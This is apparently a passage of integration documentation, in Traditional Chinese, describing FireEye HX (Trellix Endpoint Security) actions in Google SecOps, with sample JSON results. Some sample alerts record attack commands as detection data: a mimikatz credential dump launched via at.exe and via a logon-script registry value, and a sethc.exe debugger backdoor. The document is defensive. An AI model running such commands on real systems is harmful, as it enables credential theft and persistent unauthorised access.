FireEye HX

本文說明如何將 FireEye HX 與 Google Security Operations 整合。

在 Google Security Operations 中設定 FireEye HX 整合

如要瞭解如何在 Google SecOps 中設定整合功能，請參閱「設定整合功能」一文。

整合參數

請使用下列參數設定整合：

參數顯示名稱 類型 預設值 為必填項目 說明
執行個體名稱 字串 不適用 否 要設定整合的執行個體名稱。
說明 字串 不適用 否 執行個體的說明。
伺服器 字串 https://x.x.x.x:<port> 是 Trellix Endpoint Security 執行個體的位址。
使用者名稱 字串 不適用 是 使用者的電子郵件地址，用於連線至 Trellix Endpoint Security。
密碼 密碼 不適用 是 對應使用者的密碼。
驗證 SSL 核取方塊 已勾選 是 如果 Trellix Endpoint Security 連線需要 SSL 驗證，請勾選這個核取方塊 (預設為勾選)。
遠端執行 核取方塊 已取消勾選 否 勾選這個欄位，即可從遠端執行設定的整合項目。勾選後，系統會顯示選取遠端使用者 (代理) 的選項。

動作

取消主機隔離

使用「取消主機隔離」動作，根據 Google SecOps IP 位址或主機名稱實體，從 Trellix Endpoint Security 伺服器移除隔離的主機。

動作輸入內容

Cancel Host Contain 動作需要下列參數：

參數 說明
Agent Id 選用

要從圍堵中移除的主機代理 ID。如未提供，動作會嘗試從附加的主機名稱或位址實體解析代理 ID。

動作輸出內容

「取消主機隔離」動作會提供下列輸出內容：

動作輸出類型 可用性
案件總覽附件 無法使用
案件總覽連結 無法使用
案件總覽表格 無法使用
補充資訊表格 無法使用
JSON 結果 無法使用
指令碼執行結果 可用
指令碼執行結果

下表列出使用「取消主機圍堵」動作時，指令碼結果輸出的值：

指令碼結果名稱 值
is_success true或false
動作輸出訊息

Cancel Host Contain 動作會提供下列輸出訊息：

輸出訊息 訊息說明
Successfully requested to cancel host containment. 動作成功。
Error executing action "Cancel Host Contain". Reason: ERROR_REASON 動作失敗。請檢查伺服器連線、輸入參數或憑證。

檢查圍堵狀態

使用「Check Containment Status」動作，檢查 Trellix Endpoint Security 中主機的圍堵狀態。

動作輸入內容

「Check Containment Status」動作需要下列參數：

參數 說明
Agent Id 選用

要檢查圍堵狀態的主機代理程式 ID。如未提供，這項動作會嘗試從附加的主機名稱或 IP 位址實體解析代理程式 ID。

動作輸出內容

「Check Containment Status」動作會提供下列輸出內容：

動作輸出類型 可用性
案件總覽附件 無法使用
案件總覽連結 無法使用
案件總覽表格 無法使用
補充資訊表格 無法使用
JSON 結果 可用
指令碼執行結果 可用
JSON 結果

以下範例顯示使用「Check Containment Status」動作時，收到的 JSON 結果輸出內容：

{
  "operation_results": {
    "agent-123": {
      "operation": "containment_status",
      "result": "success",
      "status": "contained",
      "reason": null
    }
  },
  "device_metadata": {}
}
指令碼執行結果

下表列出使用「Check Containment Status」動作時，指令碼結果輸出的值：

指令碼結果名稱 值
is_success true或false
動作輸出訊息

「Check Containment Status」動作會提供下列輸出訊息：

輸出訊息 訊息說明
Successfully checked containment status for specified host. 動作成功。
Error executing action "Check Containment Status". Reason: ERROR_REASON 動作失敗。請檢查伺服器連線、輸入參數或憑證。

包含主機

說明

根據 Google SecOps IP 或主機 Google SecOps 實體，在 Trellix Endpoint Security 伺服器上建立包含主機工作。

參數

參數 類型 預設值 為必填項目 說明
代理程式 ID 字串 不適用 否 要納入的主機代理程式 ID。如未提供，動作會嘗試從附加的主機名稱或位址實體解析代理程式 ID。
核准圍堵 核取方塊 已取消勾選 是 指定是否應自動核准主機的隔離要求，以便在 Trellix Endpoint Security 伺服器上建立隔離主機工作。如果未自動核准，可以在 Trellix Endpoint Security 網頁控制台中核准隔離要求。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
N/A

接收快訊

說明

根據提供的 Google SecOps 實體和搜尋條件，取得 Trellix Endpoint Security 安全性警示。這項動作適用於主機或 IP Google SecOps 實體。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
限制 整數 不適用 否 動作應傳回的快訊數量，例如 100。
具備共用模式 下拉式選單 _(預設 = 任何)_ _default = any_ 否 篩選由特定共用模式指標觸發的警示。_可用值：any、restricted 和 unrestricted。_
警告解決狀態 下拉式選單 _(預設 = 任何)_ _default = any_ 否 根據警告解決狀態篩選警告。可用值：_any、active_threat、alert、block、partial_block。_
過去 x 小時內回報的警示 整數 不適用 否 篩選過去 x 小時內 (例如過去 4 小時) 回報的警示。
快訊來源 下拉式選單 _(預設 = 任何)_ _default = any_ 否

快訊來源。可用值：any、exd (入侵偵測)、mal (惡意軟體警示)、ioc (入侵指標)。
條件 ID 字串 不適用 否 依特定條件 ID 篩選快訊。
快訊 ID 字串 不適用 否 依快訊 ID 傳回特定快訊。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

取得警告群組詳細資料

說明

依 ID 取得指定快訊群組的完整詳細資料。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
快訊群組 ID 字串 不適用 是 指定要擷取詳細資料的快訊群組 ID，並以逗號分隔的清單呈現。

執行日期

這項動作不會對實體執行，且有必要輸入參數。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}
案件總覽
結果類型 值/說明 類型
輸出訊息*

1 成功 (is_success=true)： 已成功擷取 Trellix Endpoint Security 中下列警示群組的詳細資料：{alert group ids}

1 項操作失敗 (is_success=true)：動作無法擷取 Trellix Endpoint Security 中下列快訊群組的詳細資料：{alert group ids}

全部失敗 (is_success=false)：在 Trellix Endpoint Security 中找不到任何提供的警告群組。

 一般
案件總覽

名稱：快訊群組詳細資料


資料欄：

  • 評估
  • 快訊群組 ID
  • 首場活動
  • 上次活動
  • 已確認
  • 上次警報 HX ID
 一般

取得警告群組中的警告

說明

取得指定快訊群組中的所有快訊

參數

參數顯示名稱 類型 預設值 為必填項目 說明
快訊群組 ID 字串 不適用 是 指定要擷取詳細資料的快訊群組 ID，並以逗號分隔的清單呈現。
限制 整數 50 否 指定 API 傳回的快訊群組快訊清單數量上限。預設值為 50。

執行日期

這項動作不會對實體執行，且有必要輸入參數。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}
案件總覽
結果類型 值/說明 類型
輸出訊息*

1 (is_success=true) 的成功訊息：已成功擷取 Trellix Endpoint Security 中下列警示群組的詳細資料：{alert group ids}

1 項操作失敗 (is_success=true)：無法在 Trellix Endpoint Security 擷取下列快訊群組的詳細資料：{alert group ids}

全部失敗 (is_success=false)：在 Trellix Endpoint Security 中找不到任何提供的警告群組。

 一般
案件總覽

名稱：「Trellix Endpoint Security Alert Group +{alert_group_id) Alerts」


資料欄：

  • 快訊 Trellix Endpoint Security ID
  • 指標名稱
  • 事件時間
  • 比對相符時間
  • 回報時間
  • 來源
  • 事件類型
 一般

可取得檔案

使用「取得檔案」動作，在 FireEye HX 主機上建立檔案擷取工作。

動作輸入內容

「Get File」動作需要下列參數：

參數 說明
Agent Id 選用

要從哪個主機取得檔案，請提供該主機的代理程式 ID。如未提供，這項動作會嘗試從附加的主機名稱或 IP 位址實體解析代理程式 ID。
File Path 必要

要在目標端點上取得的檔案完整路徑 (例如 C:\Windows\System32\notepad.exe 或 /tmp/malware.sh)。
Use API Mode 選用

如果選取，檔案擷取會使用 OS 檔案系統 API，而非原始磁碟讀取。Linux 端點必須提供。(預設為未選取)。
External Id 選用

要與檔案擷取工作建立關聯的自訂外部 ID。

動作輸出內容

「Get File」動作會提供下列輸出內容：

動作輸出類型 可用性
案件總覽附件 無法使用
案件總覽連結 無法使用
案件總覽表格 無法使用
補充資訊表格 無法使用
JSON 結果 可用
指令碼執行結果 可用
JSON 結果

以下範例顯示使用「Get File」動作時，收到的 JSON 結果輸出內容：

{
  "agent_id": "KE7IdyTFl9fcUyHoPVKOWe",
  "file_name": "notepad.exe",
  "file_path": "C:\\windows\\system32",
  "acquisition_id": 14,
  "_id": 14,
  "_revision": "20241031012314519770835082",
  "error_message": null,
  "comment": null,
  "state": "COMPLETE",
  "md5": "c5b188ac73d5dca677cf5712f65de5af",
  "zip_file_size": "178427",
  "request_time": "2024-10-31T01:21:50Z",
  "request_actor": {
    "_id": 1011,
    "username": "md_services"
  },
  "req_path": "C:\\windows\\system32",
  "req_filename": "notepad.exe",
  "req_multifile_parameters": {
    "isMultiFile": false
  },
  "req_use_api": false,
  "zip_passphrase": "unzip-me",
  "external_id": "File Acquisition Alert_ee345c69-5b84-4b7a-81a4-ea205fc5cd51",
  "finish_time": "2024-10-31T01:23:14.519Z",
  "indicator": null,
  "url": "/hx/api/v3/acqs/files/14",
  "host": {
    "_id": "KE7IdyTFl9fcUyHoPVKOWe",
    "url": "/hx/api/v3/hosts/KE7IdyTFl9fcUyHoPVKOWe"
  },
  "alert": null,
  "condition": null,
  "download_path": "/tmp/example_acquisition.zip"
}
指令碼執行結果

下表列出使用「取得檔案」動作時，指令碼結果輸出的值：

指令碼結果名稱 值
is_success true或false
動作輸出訊息

「Get File」動作會提供下列輸出訊息：

輸出訊息 訊息說明
Successfully acquired file from host. 動作成功。
Error executing action "Get File". Reason: ERROR_REASON 動作失敗。請檢查伺服器連線、輸入參數或憑證。

取得主機資訊

說明

根據 Trellix Endpoint Security 的資訊，充實 Google SecOps 主機或 IP 實體。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

取得指標

說明

從 Trellix Endpoint Security 伺服器取得特定指標的資訊。

參數

參數顯示名稱 Type 預設值 為必填項目 說明
指標類別 字串 不適用 是 指定指標類別 uri_name 值。如要找出 uri_name，請執行「Get Indicators」動作。
指標名稱 字串 不適用 是 請指定指標 uri_name 值。如要找出 uri_name，請執行「Get Indicators」動作。

執行日期

這項操作會對所有實體執行。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

取得指標

說明

根據提供的搜尋參數，從 Trellix Endpoint Security 伺服器取得入侵指標 (IOC) 資訊。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
指標類別 字串 不適用 否 指標類別。
搜尋字詞 字串 不適用 否 搜尋字詞可以是任何名稱、類別、簽章、來源或條件值。
限制 字串 不適用 否 動作應傳回的指標數量，例如 100。
共用模式 下拉式選單 _(預設 = 任何)_ _default = any_ 否 根據特定共用模式篩選指標。_可用值：any、restricted、unrestricted。_
依欄位排序 字串 不適用 否 依指定欄位遞增排序結果。
建立者 字串 不適用 否 根據作者篩選指標。
有相關聯的警示 核取方塊 不適用 否 指定是否只傳回與快訊相關聯的指標。

執行日期

這項操作會對所有實體執行。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

取得主機的檔案擷取清單

說明

從 Trellix Endpoint Security 伺服器取得主機要求的檔案擷取清單。這項動作適用於主機或 IP Google SecOps 實體。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
搜尋字詞 字串 不適用 否 搜尋連線至 Trellix Endpoint Security 伺服器的主機，找出所有檔案擷取作業。search_term 可以是任何條件值。
限制 字串 不適用 否 動作應傳回的記錄數量，例如 100。
篩選器欄位 字串 不適用 否 僅列出具有指定欄位值的結果，可依外部關聯 ID (external_id) 篩選結果。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

是否包含惡意軟體快訊

說明

檢查 Trellix Endpoint Security 伺服器上，是否列出所提供 Google SecOps 主機或 IP 實體的惡意軟體警示。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

乒乓

說明

在 Google SecOps Content Hub 頁面的整合設定頁面，使用提供的參數測試與 Trellix Endpoint Security 伺服器的連線能力。

執行日期

這項操作會對所有實體執行。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
N/A

確認警告群組

說明

確認由 Google SecOps 處理的快訊群組，以便在 HX 平台和 Google SecOps 之間更有效地同步。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
快訊群組 ID 以半形逗號分隔的清單 不適用 是 請指定要確認的警告群組 ID，並以半形逗號分隔。
確認 DDL 確認 是 指定是否要確認或取消確認指定的快訊群組。
確認註解 字串 不適用 否 指定要新增至相關快訊群組的確認註解。
限制 整數 不適用 否 在 JSON 結果中，指定 API 傳回的警告群組清單數量上限。

執行日期

這項動作不會對實體執行，且有必要輸入參數。

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
